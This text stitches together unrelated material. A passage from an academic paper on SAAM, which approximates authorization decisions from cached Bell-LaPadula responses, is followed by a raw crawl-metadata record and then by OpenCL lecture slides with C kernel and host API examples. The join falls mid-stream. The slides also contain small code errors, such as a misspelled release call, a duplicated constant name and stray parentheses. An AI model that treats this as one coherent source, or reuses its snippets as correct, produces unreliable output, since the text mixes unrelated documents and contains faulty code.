5: if \( v_s = v_o \) then
6: return allow
7: else
8: return undecided
9: end if
10: end if
11: if \( a = \text{read} \) then
12: if there is a path of length \( \leq l \) from \( v_s \) to \( v_o \) then
13: return allow
14: else
15: return undecided
16: end if
17: end if
18: if \( a = \text{append} \) then
19: if there is a path of length \( \leq l \) from \( v_o \) to \( v_s \) then
20: return allow
21: else
22: return undecided
23: end if
24: end if
Figure 7: Computing an approximate response
Note that this decision process may yield “false negatives”, in the sense that our algorithm may return an undecided response for those requests that the PDP would
allow. In other words, the EvaluateRequest algorithm implements a safe SDP.\(^6\)
We can limit the scope of the search for paths in the dominance graph by specifying a maximal length \(l\) for the paths that can be traversed in trying to decide the request. This has the effect of reducing the search space within the dominance graph, thereby reducing the time taken by the SDP to compute an approximate response. Clearly, this also reduces the possibility of finding a suitable path in the dominance graph, thereby increasing the number of false negatives.
One obvious choice of \(l\) can be derived from the security lattice \(L\). In particular, note that \(L\) is finite, hence the Hasse diagram\(^7\) of \(L\) contains a path of maximal length \(l_{\text{max}}\). In other words, one strategy would be to terminate the search for an approximate response if we do not find a path of length less than or equal to \(l_{\text{max}}\) between the nodes containing the relevant entities in the dominance graph.
The algorithm used to compute an approximate response is shown in Figure 7.
---
\(^6\)It is less easy to develop an algorithm that implements a consistent SDP. One might imagine that such an algorithm would deny a read request, for example, if there is a path from the node containing the object to the node containing the subject. However, this path includes the possibility that the security label of the object and subject are equal, in which case the PDP would allow the request and the SDP would deny the request. In other words, the SDP is not consistent, as it has denied a request that the PDP would allow.
\(^7\)The Hasse diagram of a lattice is the graph of the reflexive, transitive reduction of the partial order relation [5].
### 3.4 Complexity Analysis
In this section, we provide further analysis of SAAM\(_{\text{DL}}\)P. Full details are available in the associated technical report [16].
We will write \(n\) to denote the number of responses from the PDP in the cache (and we will assume that this is equal to the number of requests). The number of edges in the dominance graph is bounded by \(n\) (since a response can add at most one edge to the graph) and the number of nodes is bounded by \(2n\) (since a single response can add at most two entities to the dominance graph). We will assume that we cache responses in such a way that we can find a subject or object in time \(O(\log n)\) (using hash tables [11], for example). We will also assume the use of a breadth-first search algorithm (BFS) that can traverse the dominance graph in time proportional to the sum of the numbers of edges and nodes in the graph; that is, in time \(O(n)\).
#### 3.4.1 Collapsing Cycles in the Dominance Graph
The algorithm that processes new responses from the PDP calls the CollapseCycles algorithm, so we consider the time complexity of this first. This algorithm contains the following steps:
- compute all the paths from \(v_{\text{start}}\) to \(v_{\text{end}}\) (line 02), which has complexity \(O(n)\) (using BFS);
- move subjects and objects to \(v_{\text{start}}\) (lines 05–09), which has complexity \(O(n)\) (since there may be \(O(n)\) entities in the cycle);
- create new edges connected to \(v_{\text{start}}\) (lines 10–15),
---
Figure 6: Evolution of the dominance graph
which has complexity $O(n)$ (since there may be $O(n)$ edges to be added).
Hence, the overall time taken to collapse cycles in the dominance graph is $O(n)$.
### 3.4.2 Processing a PDP Response
The main steps in adding a response to the request $(s, o, a, c, i)$ (as shown in Figure 4) are to:
- test whether $s$ is already associated with a node in the graph (line 02), which has complexity $O(\log n)$;
- test whether $o$ is already associated with a node in the graph (line 05), which has complexity $O(\log n)$;
- test whether a path between the nodes containing $s$ and $o$ exists (lines 10 and 14), which has complexity $O(n)$;
- collapse any cycles that are created in the graph (lines 14 and 21), which has complexity $O(n)$.
Hence the total time to add new information from a PDP response to the dominance graph is $O(n)$.
### 3.4.3 Generating an SDP Response
The main steps required to generate an SDP response are to:
- compute the node(s) containing the subject and object (lines 02–03), which has complexity $O(\log n)$;
- compute whether there is a (possibly trivial) path between the two nodes (lines 04–24), which has complexity $O(n)$.
The overall complexity of computing an SDP response is therefore $O(n)$. (As we discuss in Section 3.3, one way of controlling the time taken to evaluate a request is to limit the length of paths that are traversed in the dominance graph when executing $EvaluateRequest$.)
## 4. RELATED WORK
SAAM is a conceptual framework that is implemented by an SDP and used to compute approximate responses to authorization requests. These heuristics provide a replacement for conventional authorization responses from the PDP, when the PDP is unavailable. SAAM assumes that PDP responses will be cached and used to infer approximate responses.
Caching authorization responses is not a new idea in the domain of access control: it has been used to improve system efficiency and reliability [3, 8, 13, 19, 28]. However, these and other approaches only compute precise authorizations and are therefore only effective for resolving repeated requests. SAAM can resolve new requests by extending the space of supported responses to approximate ones. In other words, SAAM provides a richer alternative source for authorization responses than do existing approaches. It is unique in offering a systematic approach to authorization recycling by suggesting a generic model of authorization requests, and responses, as well as providing response classification and strategies.
Other work [18, 22, 23] exploits the relationships between (database) objects to improve system scalability, while SAAM uses the relationships between subjects and objects to improve system reliability and reduce latency. This work also infers authorizations from existing ones, but ours is the first to re-use previous responses to infer information about the underlying access control policy, and to make approximate responses that are consistent with that policy.
SAAM is a domain-specific approach to improving performance and fault tolerance of those access control mechanisms that employ remote authorization servers. Three general classes of fault tolerance solutions are failure masking through information redundancy (e.g., error correction checksums), time redundancy (e.g., repetitive invocations), or physical redundancy (e.g., data replication). SAAM employs physical redundancy [10]: when the PDP is unavailable, the SDP would be able to mask the failure by providing the requested access control decision. However, general-purpose physical redundancy techniques for distributed systems scale poorly beyond a small number of systems [9], and become technically and economically infeasible when the scale reaches the thousands [27]. Unlike such techniques, our approach requires no specialized software, simply modifications to the logic of the PEP cache. No distributed state, election, or synchronization algorithms are necessary either. With SAAM, only authorization responses are cached, and no dynamic authorization data are replicated, enabling linear scalability on the number of PEPs and PDPs.
## 5. CONCLUSIONS
We have developed a simulation testbed to evaluate the utility of SAAM and used it to generate a random test set of authorization requests. We then measured the proportions of requests resolved by a conventional PEP that recycles only precise responses and the SDP described in Section 3. Preliminary results demonstrate that when 10% of authorizations are cached, our SDP can evaluate over 30% more authorization requests than a conventional PEP. Interestingly, these results hold even with small numbers of 1000 objects and 100 subjects in a system with a BLP policy defined with a 14-node lattice. We are currently conducting further experiments and will report on our results in detail in the near future. Results of our evaluation indicate that active recycling of precise and approximate authorizations could be a viable alternative to general purpose techniques for improving fault tolerance and reducing delays associated with access control.
To the best of our knowledge, the work described in this paper is the first attempt to formulate a general application-independent framework for computing new authorization responses using previous ones. While our approach is not necessarily appropriate for small-scale access control solutions, it is expected to improve reliability and performance of applications in those enterprises that have a high cumulative rate of partial fail-stop failures, or high communication overhead due to widespread distribution of systems.
The rate of observed failures can be decreased significantly even with a small (10%) proportion of authorizations cached. On the other hand, the reduction of the observed performance overhead is the subject of the trade-off between the delay of PEP-PDP communication and the cost of computing approximate authorizations. However, both the failure rate and the performance overhead reductions are limited by the availability and the performance, respectively, of the...
application as well as the network connecting the client to the application. For example, if the application itself is very slow (or the client-server connection is very unreliable), then the overall gain in performance (or availability), as observed by the client, will be small.
We have developed a safe SDP for handling policies based on the Bell-LaPadula model. However, other access control models will likely require different SDPs. Support for role-based access control, time-based policies, history-sensitive policies (e.g., Chinese Wall), dynamic separation of duties, or other types of policies that require subject rights to be consumable (e.g., task-based authorizations [26]) has yet to be developed. Future work will investigate support for the above models as well as the use of subject, object, and access-right space structures.
Acknowledgements
The authors would like to thank Liang Chen for his careful reading of an earlier draft of the paper, Kyle Zeeuwen for doing an evaluation study of the SDP described in Section 3, and Craig Wilson for improving the readability of the paper.
6. REFERENCES
|
{"Source-Url": "http://lersse-dl.ece.ubc.ca/record/112/files/112.pdf", "len_cl100k_base": 11029, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 41205, "total-output-tokens": 13415, "length": "2e13", "weborganizer": {"__label__adult": 0.000408172607421875, "__label__art_design": 0.00042629241943359375, "__label__crime_law": 0.00145721435546875, "__label__education_jobs": 0.0012683868408203125, "__label__entertainment": 0.00012564659118652344, "__label__fashion_beauty": 0.0002079010009765625, "__label__finance_business": 0.0009765625, "__label__food_dining": 0.0003478527069091797, "__label__games": 0.0007238388061523438, "__label__hardware": 0.00189971923828125, "__label__health": 0.0010843276977539062, "__label__history": 0.0003995895385742187, "__label__home_hobbies": 0.00014066696166992188, "__label__industrial": 0.0007352828979492188, "__label__literature": 0.00043892860412597656, "__label__politics": 0.0005297660827636719, "__label__religion": 0.0004744529724121094, "__label__science_tech": 0.42529296875, "__label__social_life": 0.00013959407806396484, "__label__software": 0.03692626953125, "__label__software_dev": 0.52490234375, "__label__sports_fitness": 0.00023674964904785156, "__label__transportation": 0.0005865097045898438, "__label__travel": 0.0002084970474243164}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 51317, 0.03975]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 51317, 0.44428]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 51317, 0.89752]], "google_gemma-3-12b-it_contains_pii": [[0, 4331, false], [4331, 11149, null], [11149, 14706, null], [14706, 18330, null], [18330, 25233, null], [25233, 31393, null], [31393, 36302, null], [36302, 39619, null], [39619, 45723, null], [45723, 51317, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4331, true], [4331, 11149, null], [11149, 14706, null], [14706, 18330, null], [18330, 25233, null], [25233, 31393, null], [31393, 36302, null], [36302, 39619, null], [39619, 45723, null], [45723, 51317, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 51317, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 51317, null]], "pdf_page_numbers": [[0, 4331, 1], [4331, 11149, 2], [11149, 14706, 3], [14706, 18330, 4], [18330, 25233, 5], [25233, 31393, 6], [31393, 36302, 7], [36302, 39619, 8], [39619, 45723, 9], [45723, 51317, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 51317, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
56f028b676631af5baef30c8a911e292f2788a18
|
Modern architectures are heterogeneous
- A modern computer architecture includes
- One or more CPUs
- One or more GPUs
- Optionally other HW accelerators and FPGAs
- Architectures may have various computing unit per type
- This aspect enables parallelism!
GMCH = graphics memory control hub
ICH = Input/output control hub
Programmability issues
- Each type of resource is generally programmed by using different languages and paradigms
- CPU
- A huge variety of languages is available: C, C++, Java, ...
- Various APIs for expressing parallelism: OpenMP, pthreads, ...
- GPU
- CUDA is a C-based language for NVIDIA GPUs
- C++ AMP is a programming model based on DirectX defined by Microsoft
- FPGA
- Verilog and VHDL are the two commonly used HDL to define accelerators
- Some vendors define high-level proprietary languages for their boards (e.g. MaxJ defined by Maxeler)
- OpenMP and OpenACC are two directive-based languages for parallel computing that recently started supporting heterogeneous devices (CPU, GPU, further accelerators...). Not very flexible in the management of the device
- Huge heterogeneity in system programming!
OpenCL
- OpenCL (Open Computing Language) is a programming framework for heterogeneous compute resources
- Original issue has been to solve heterogeneity between CPUs and GPUs
OpenCL
- OpenCL is a programming framework for heterogeneous compute resources
- Nowadays OpenCL targets many kinds of devices
OpenCL implementations
OpenCL working group
- Diverse industry participation – many industry experts
- Processor vendors, system OEMs, middleware vendors, application developers
- Apple made initial proposal and is very active in the working group
- Serving as specification editor
OpenCL timeline
- OpenCL initially developed by Apple
- Meanwhile managed by Khronos Group, a non-profit technology consortium
- Widely agreed-upon industry standard
- We will present OpenCL 1.2 and provide some details on the novelties introduced by OpenCL 2.0 and 2.1
Design goals of OpenCL
• Low-level abstraction for compute
– Avoid specifics of the hardware (but not hiding hardware management)
– Enable high performance
– Support device independence
• Enable all compute resources
– CPUs, GPUs, and other processors
– Data- and task-parallel compute models
– Efficient resource sharing between processors
Design goals of OpenCL
• Efficient parallel programming model
– ANSI C99 based kernel language
– Minimal restrictions and language additions
– Straight-forward development path
• Consistent results on all platforms
– Well-defined precision requirements for all operations
– Maximal-error allowances for floating-point math
– Comprehensive conformance suite for API + language
Supported parallelism models
• Single-Instruction-Multiple-Data (SIMD)
– The kernel is composed of sequential instructions
– The instruction stream is executed in lock-step on all involved processing elements
– Generally used on GPU
• Single-Program-Multiple-Data (SPMD)
– The kernel contains loops and conditional instruction
– Each processing element has its own program counter
– Each instance of the kernel has a different execution flow
– Generally used on CPU
Supported parallelism models
- Data-parallel programming model
- The same sequential instruction stream is executed in lock-step on different data
- Generally used on GPU
- Task-parallel programming model
- The program issues many kernels in a out-of-order fashion
Problem decomposition
- When we think about how to parallelize a program we use the concepts of decomposition:
- *Task decomposition*: dividing the algorithm into individual tasks (don’t focus on data)
- *Data decomposition*: dividing a data set into discrete chunks that can be operated on in parallel
Problem decomposition
• Task decomposition reduces an algorithm to **functionally independent parts**
• Tasks may have dependencies on other tasks
– If the input of task B is dependent on the output of task A, then task B is dependent on task A
– Tasks that don’t have dependencies (or whose dependencies are completed) can be executed at any time to achieve parallelism
– *Task dependency graphs* are used to describe the relationship between tasks
A and B are independent of each other
C is dependent on A and B
B is dependent on A
Problem decomposition
• Data decomposition is a technique for breaking work into multiple independent tasks, but where each task has the same responsibility
– Each task can be thought of as processing a different piece of data
• Using data decomposition allows us to exploit data parallelism
• Using OpenCL, data decomposition allows us to easily map data parallel problems onto data parallel hardware
Problem decomposition
- For most scientific and engineering applications, data is decomposed based on the output data.
- Examples of output decomposition:
- Each output pixel of an image convolution is obtained by applying a filter to a region of input pixels.
- Each output element of a matrix multiplication is obtained by multiplying a row by a column of the input matrices.
- This technique is valid any time the algorithm is based on one-to-one or many-to-one functions.
Problem decomposition
• **Input data decomposition** is similar, except that it makes sense when the algorithm is a **one-to-many function**
• Examples of input decomposition
– A histogram is created by placing each input datum into one of a fixed number of bins
– A search function may take a string as input and look for the occurrence of various substrings
• For these types of applications, each thread creates a “partial count” of the output, and synchronization, atomic operations, or another task are required to compute the final result
OpenCL platform model
- The OpenCL platform model is a high-level description of the heterogeneous systems
- Abstract from peculiarities of specific vendors to have a unified model
OpenCL platform model
- One host connected to a set of compute devices
- Each compute device is composed of one or more compute units
- Each compute unit is further divided into one or more processing elements
- The single unit of computation is executed by a processing element
OpenCL platform model
• One host connected to a set of compute devices
– Each compute device is composed of one or more compute units
– Each compute unit is further divided into one or more processing elements
– The single unit of computation is executed by a processing element
In ARM chips, the GPU may be partitioned in various devices.
OpenCL application
**Device code**
- Written in OpenCL C
- Organized in kernels
- Executes on the device
- Data-parallel execution
**Host code**
- Written in C/C++
- Executes on the host
- Mainly sequential execution
- May use task-parallel execution
Host code sends commands to the devices:
- To transfer data between host memory and device memories (kernel codes and data)
- To execute kernels on the device
OpenCL application
- Serial code executes in a host thread on the host (i.e. a CPU)
- Parallel code (that is the kernel) executes in many device threads across multiple processing elements on the device (e.g. a GPU)
Decompose a task into parallel work-items
- The kernel is actually a data-parallel C function executed on a single instance of the problem
- Parallelization approach:
- Define an N-dimensional integer index space (N=1,2,3) called NDrange
- Execute a kernel at each point in the integer index space
```c
void trad_mul(int n,
const float *a,
const float *b,
float *c)
{
int i;
for (i=0; i<n; i++)
c[i] = a[i] * b[i];
}
```
```c
__kernel void
dp_mul(__global const float *a,
__global const float *b,
__global float *c)
{
int id = get_global_id(0);
c[id] = a[id] * b[id];
} // execute over n "work items"
```
Decompose a task into parallel work-items
- The kernel is actually a data-parallel C function executed on a single instance of the problem
- Parallelization approach:
- Define an N-dimensional integer index space (N=1,2,3) called NDrange
- Execute a kernel at each point in the integer index space
```c
void trad_mul
{
int i;
for (i = 0; i < n; i++)
c[i] = a[i] * b[i];
}
```
Traditional loop-based C function
```c
__kernel void dp_mul
{
int id = get_global_id(0);
c[id] = a[id] * b[id];
} // execute over n "work items"
```
OpenCL parallel function
Decompose a task into parallel work-items
- **Work-item**: single execution of the kernel on a data instance (i.e. the basic unit of work)
- **Work-group**: group of contiguous work-items
- Work-groups have the same size and exactly span the NDrange
- The NDrange is actually an N-dimensional grid with a local and global indexing
Decompose a task into parallel work-items
- Example of 1 dimensional problem
```c
kernel void square(global float* input, global float* output)
{
int i = get_global_id(0);
output[i] = input[i] * input[i];
}
```
- `get_work_dim = 1`
- `get_global_size = 16`
- `get_num_groups = 2`
- `get_group_id = 0`
- `get_local_size = 8`
- `get_local_id = 3`
- `get_global_id = 11`
Decompose a task into parallel work-items
- Example of 3 dimensional problem
Kernel execution on platform model
- Each work-item is executed by a compute element
- Each work-group is executed on a single compute unit
- A wavefront or warp (depending on the implementation) is the subgroup of work-items of a single work-group executed concurrently in lockstep
- Each kernel is executed on a compute device
- Several concurrent work-groups can reside on one compute unit depending on work-group’s memory requirements and compute unit’s memory resources
OpenCL memory model
- Shared memory model
- With relaxed consistency
- Explicit synchronization is required
- Private memory
- Per work-item
- Local memory
- Shared within a work-group for sharing data
- Global/constant memory
- Visible to all work-items in any work-groups
- Constant memory is initialized by the host and is read-only for the kernel
- Host memory
- On the CPU
- Implementation maps this hierarchy to the available physical memories
OpenCL memory model
• Memory management is EXPLICIT
• Programmer has to move data from host -> global -> local … and back
– With a memory copy, or
– With a map of an OpenCL memory objects into the host memory address space
• Programmer has to take care of memory consistency between the kernel and the host and among work-items
OpenCL memory model
• OpenCL uses a “relaxed consistency memory model”:
– State of memory visible to a work-item **not** guaranteed to be consistent across the collection of work-items at all times
• Memory has load/store consistency within a work-item
• Local memory has consistency across work-items within a work-group at an explicit synchronization point
• Global memory is consistent within a work-group at a an explicit synchronization point, but not guaranteed across different work-groups
• Global memory consistency between host and kernel and between different kernels must be enforced at explicit synchronization points
• The relaxed memory consistency model allows devices scalability
OpenCL framework
Compiled code
Create data & arguments
Send to execution
OpenCL framework
• A **device** represents an OpenCL compute device
A program object contains the source code that implements the kernel and its compiled binary code.
OpenCL framework
- A **kernel** represents an instance of the execution of a program object
- It contains also the actual parameters
OpenCL framework
- **A memory object** is a buffer (or a more advanced structure) allocated in the host or device memory to exchange data between the application and the kernel.
The command queue is used by the host application to submit work to a single device (e.g., kernel execution instances).
- Work is queued in-order, one queue per device.
- Work is executed asynchronously w.r.t. the host application.
- Work can be executed in-order or out-of-order.
OpenCL framework
• The **context** is the environment within a kernel is defined and executed
• It includes devices, kernels, memory objects and command queues
Execution flow
- The application discovers and setups the execution context
- Discover compute devices
- Compile kernels
Execution flow
• The application copies the data from the host memory to the device memory by using memory objects
Execution flow
• The application sets the kernel parameters and launches the execution of the kernel on the GPU.
Execution flow
- The GPU executes the kernel on the data stored in its device memory
Execution flow
• The application copies back the data from the device memory to its memory by using the memory objects
OpenCL stack
- Many vendors provide OpenCL implementations
- There are also open-source implementations
- The OpenCL stack has
- The front-end equal for all implementations
- The back-end is vendor-specific
OpenCL stack
• In order to support multiple OpenCL implementations
– Each implementation provides an Installable Client Driver (ICD)
– The application is dynamically linked to the ICD loader that manages available ICDs and forward requests
OpenCL Compilation System
- OpenCL uses a Dynamic/Runtime compilation model for the kernel code
- The code is compiled to an Intermediate Representation (IR)
- The IR is compiled to a machine code for execution
- LLVM is used for the front-end (replaced/integrated with SPIR-V in OpenCL 2.1)
- Vendor-specific back-ends are used for the second phase
- The host code is still compiled statically
- Runtime compilation cannot be used for FPGA
OpenCL language and API
• Let’s see the source code...
... of the OpenCL kernel
Definition of an OpenCL kernel
• The kernel is implemented in OpenCL language, an extension of C99
• Restrictions w.r.t. C99
– NO Function pointers
– NO recursion
– NO variable-length arrays
– … few others
Definition of an OpenCL kernel
• New data type
– Scala data types
• half, ...
• Implicit/explicit casts
– Image types
• image2d_t, image3d_t, sampler_t
– Vector data types
• char2, ushort4, int8, float16, double2, ...
• Vector lengths 2, 3, 4, 8, 16
• Endian safe
• Aligned at vector length
• Vector operations (+, -, *, -, access to fields, implicit/explicit casts...)
Definition of an OpenCL kernel
- **Address space qualifiers**
- __global, __local, __constant, __private
- **Built-in functions**
- Work-items functions: get_global_id, get_local_id, ...
- Math functions: sin, cos, exp, ...
- Common functions: min, clamp, max, ...
- Geometric functions: cross, dot, normalize, ...
- Vector load/store functions: vload4, vstore4, ...
- Synchronization functions: barrier
- Atomic functions: atomic_add, atomic_sub, ...
Definition of an OpenCL kernel
- Example:
```c
__kernel void dp_mult(__global const float* a,
__global const float* b,
__global float* c)
{
int i = get_global_id(0);
c[i] = a[i] * b[i];
}
```
Definition of an OpenCL kernel
- Address space qualifiers
- __global, __local, __constant, __private
```c
__constant float myarray[4] = {...};
__kernel void pDFA (
const int * InputLength,
local int * Matched,
global int * InputStr,
int OtherThanThat)
{
int k, j;
// Declares a pointer variable p in the // private address space. The pointer // points to an int object in address // space __global:
__global int *p;
}
```
- Variables outside of the kernel scope must be constant.
- Kernel arguments that are pointers can point to constant, local or global memory.
- All non-pointer kernel arguments are private.
- All variables declared inside of a kernel function are private.
- But pointers declared inside of a kernel function can point to other memory spaces!
Work-item synchronization
- Work-items within the same work-group can be synchronized by using a barrier
- Necessary when work-items cooperate
- Work-items belonging different work-groups CANNOT be synchronized
- To achieve global synchronization it is necessary to split the kernel in two subsequent ones and put a barrier in the host program
- `barrier()` sets a barrier within the code of a kernel. When all work-items reaches the barrier, the memory (local or global) is flushed and execution is resumed
Work-item synchronization
- This relaxed synchronization mechanism is due to the desire for high scalability on different types of devices (CPUs, GPUs) which manage/execute threads in different ways.
OpenCL language and API
• Let’s see the source code...
... of the host application
Workflow of n OpenCL application
1. Discovery the platforms and devices
2. Creating a context
3. Creating command-queue per device
4. Creating memory objects to hold data
5. Copying the input data onto the device
6. Creating and compiling a program from the OpenCL C source code
7. Generating a kernel of the program and specifying parameters
8. Executing the kernel
9. Copying output data back to the host
10. Releasing the OpenCL resources
Get platform
• A platform is a vendor-specific implementation of the OpenCL API
– It contains a set of devices
• `clGetPlatformIDs()` is used for accessing the available platforms
• `clGetPlatformInfo()` is used for querying the information about the available platforms
Get platform
• Example:
```c
//get all platforms
cl_int err;
cl_uint numPlatforms;
cl_platform_id *platformIds;
err = clGetPlatformIDs(0, NULL, &numPlatforms);
platformIds = (cl_platform_id *)
malloc(sizeof(cl_platform_id) * numPlatforms);
err = clGetPlatformIDs(numPlatforms, platformIds, NULL);
```
• All `clGet*` functions can be used to access either the number of items or the list of items
– Specific parameter lists distinguish the two queries
Get platform
• Example:
```c
//get the name of a platform given its id
err = clGetPlatformInfo(id, CL_PLATFORM_NAME, 0,
NULL, &size);
char * name = (char *) malloc(sizeof(char) * size);
err = clGetPlatformInfo(id, CL_PLATFORM_NAME, size,
name, NULL);
std::cout << "Platform name: " << name << std::endl
```
• Various kinds of information may be queried:
- `CL_PLATFORM_NAME`, `CL_PLATFORM_VENDOR`, `CL_PLATFORM_PROFILE`, ...
Get device
• Each platform may contain one or more compute device
• `clGetDeviceIDs()` can be used for querying the available devices
• `clGetDeviceInfo()` can be used for querying the information about the devices
Get device
• Example:
```c
// get all devices of a given platform
cl_uint numDevices;
err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 0, NULL, &numDevices);
cl_device_id* deviceIds = (cl_device_id *) malloc(sizeof(cl_device_id) * numDevices);
err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, numDevices, deviceIds, NULL);
```
• It is possible to filter on the device type
- `CL_DEVICE_TYPE_GPU`, `CL DEVICE_TYPE_CPU`, `CL_DEVICE_TYPE_ACCELERATOR`
Get device
• Example:
```cpp
//get the maxComputeUnits of a specified device
cl_uint maxComputeUnits;
err = clGetDeviceInfo(deviceID, CL_DEVICE_MAX_COMPUTE_UNITS,
sizeof(cl_uint), &maxComputeUnits,
&size);
std::cout << "Device has max compute units: "
<< maxComputeUnits << std::endl;
```
• Various kinds of information may be queried:
- CL_DEVICE_MAX_WORK_ITEM_SIZES,
CL_DEVICE_MAX_WORK_ITEM_ITEM_DIMENSIONS,
CL_DEVICE_MAX_WORK_ITEM_GROUP_SIZE
Create context
- A context provides a container for associated devices, program objects, kernels, memory objects and command queues
- We may instantiate multiple contexts within a program
- A context may contain various devices of the same platform
- Multiple contexts enable dynamic mapping of the kernels to be executed
- Data transfers among different contexts have to be explicitly managed by the programmer
Create context
• A context may be created in two different ways
– `clCreateContext()` creates a context from a specified list of devices of a single platform
– `clCreateContextFromType()` creates a context by using a specified type of platform and device
Create context
• Example 1:
```c
//select the first device from the specified platform
cl_context context;
cl_context_properties properties[] =
{CL_CONTEXT_PLATFORM, (cl_context_properties)platform, 0};
context = clCreateContext(properties, 1, devices[0],
NULL, NULL, NULL);
```
• Example 2:
```c
//select all devices of any type from the specified platform
cl_context context;
cl_context_properties properties[] =
{CL_CONTEXT_PLATFORM, (cl_context_properties)platform, 0};
context = clCreateContextFromType(properties,
CL_DEVICE_TYPE_ALL, NULL, NULL, NULL);
```
Create command queue
- A command queue is used for issuing commands to a device
- One command queue per device needed
- Dispatching among devices within the same context explicitly managed by the programmer
- A single device may have multiple independent queues
- Available commands
- Copy data to/from device
- Execute a kernel
- Synchronize
- Within a single command queue:
- Commands can be synchronous or asynchronous
- Commands can be executed in-order or out-of-order
Create command queue
- `clCreateCommandQueue()` creates a command queue on a specified device within a context
- Example:
```c
// create a command queue on the first device within the related context
cl_command_queue queue;
queue = clCreateCommandQueue(context, devices[0], 0, &err);
```
- Commands issued in the queue are executed in order
- The execution of a command starts when the previous one is completed
- `CL_QUEUE_OUT_OF_ORDER_EXEC_MODE_ENABLE` enables out of order execution of the commands within the queue
Build program
- The source code of each kernel is a text string
- It can be stored in a C/C++ string or in a text file
- The source code has to be loaded and compiled within the context it needs to be used
- `clCreateProgramWithSource()` creates a program object from the source code
- `clBuildProgram()` compiles the program to obtain the executable code on each device type within the selected context
Build program
• Example:
```c
//source code is created in the specified context and it
//is compiled for the first device in the list
const char *program_source =
"__kernel void dp_mult (__global const float *a,"
" __global const float *b, __global float *c)\n",
"... ";
cl_program program;
program = clCreateProgramWithSource(context, 1,
program_source, NULL, &err);
clBuildProgram(program, 1, devices, "", NULL, NULL)
```
• Further options:
– Compiling for all devices within the context
– Loading an already compiled binary (for a specified device)
Create a kernel
• In OpenCL language a kernel represents an instance of the execution of a program object
• `clCreateKernel()` creates a kernel from a program object
• Example:
```c
//create a kernel
cl_kernel kernel = clCreateKernel(program, "dp_mult", &err);
```
Build program and create a kernel
- There is a high overhead for compiling programs and creating kernels
- Each operation only has to be performed once (at the beginning of the program)
- The kernel objects can be reused any number of times by setting different arguments
Read source code into an array
- `clCreateProgramWithSource`
- `clCreateProgramWithBinary`
- `clBuildProgram`
- `clCreateKernel`
Create memory objects
• Memory objects are used to transmit data to/from a device
– The buffer is the basic 1-dimensional memory object
– OpenCL provides also advanced 2/3-dimensional memory objects for managing images
• Memory objects are visible within a device but memory consistency has to be managed explicitly among different devices
• Memory objects cannot be shared among different contexts since they are potentially associated to different platforms
• Memory objects are accessed in the kernel through pointers
Create memory objects
- `clCreateBuffer()` creates a memory object
- Buffers may be read-only, write-only or read-write
- It is possible to initialize buffers with data
**Example:**
```c
//create buffers for input and output
cl_mem bufA, bufB, bufC;
bufA = clCreateBuffer(context, CL_MEM_READ_ONLY,
sizeof(float)*NUM_DATA, NULL, &err);
bufB = clCreateBuffer(context, CL_MEM_READ_ONLY,
sizeof(float)*NUM_DATA, NULL, &err);
bufC = clCreateBuffer(context, CL_MEM_WRITE_ONLY,
sizeof(float)*NUM_DATA, NULL, &err);
```
Write into memory objects
- clEnqueueWriteBuffer() transfers data from the host memory to the device global memory
- Example:
```c
//transfer input data
float a[NUM_DATA], b[NUM_DATA];
//write something in a and b
clEnqueueWriteBuffer(queue, bufA, CL_TRUE, 0,
sizeof(float)*NUM_DATA, a, 0, NULL, NULL));
clEnqueueWriteBuffer(queue, bufB, CL_TRUE, 0,
sizeof(float)*NUM_DATA, b, 0, NULL, NULL));
```
- An alternative is to map the memory object into the host address space so that the host application can access it
Pass parameters
• Parameters have to be specified one by one
• `clSetKernelArg()` is used to specify a single parameter per time
• Example:
```c
//specify the three parameters for the dp_mult function
err = clSetKernelArg(kernel, 0, sizeof(cl_mem), &bufA);
err |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &bufB);
err |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &bufC);
```
Execute the kernel
• `clEnqueueNDRangeKernel()` launches the execution of a kernel on a specified NDRange
• Two possibilities for the work-group size
– Do not specify anything and OpenCL will manage it
– Explicitly specify it
• Best performance when the maximum work-group size supported by the device is used
• The considered problem may lead to a different value
• Example:
```c
//executes the dp_mult kernel on the specified NDRange
size_t global_work_size[1] = { NUM_DATA };
size_t local_work_size[1] = { 32 };
clEnqueueNDRangeKernel(queue, kernel, 1, NULL,
global_work_size, local_work_size, 0, NULL, NULL);
```
Read results
- `clEnqueueReadBuffer()` transfers data from the device global memory to the host memory
- Example:
```c
//read results
float results[NUM_DATA];
clEnqueueReadBuffer(queue, bufC, CL_TRUE, 0,
sizeof(float)*NUM_DATA, results, 0,
NULL, NULL));
```
Release resources
• At the end of the program, all OpenCL resources have to be released
• Example:
```c
//release resources
clReleaseMemObject(bufA);
clReleaseMemObject(bufB);
clReleaseMemObject(bufC);
clReleaseKernel(kernel);
clReleaseProgram(program);
cReleaseContext(context);
```
Further notes on the code
• Every OpenCL instruction returns an error code
– Error codes have to be checked after every instruction to assess the correct execution
– Otherwise the application will continue under an error condition
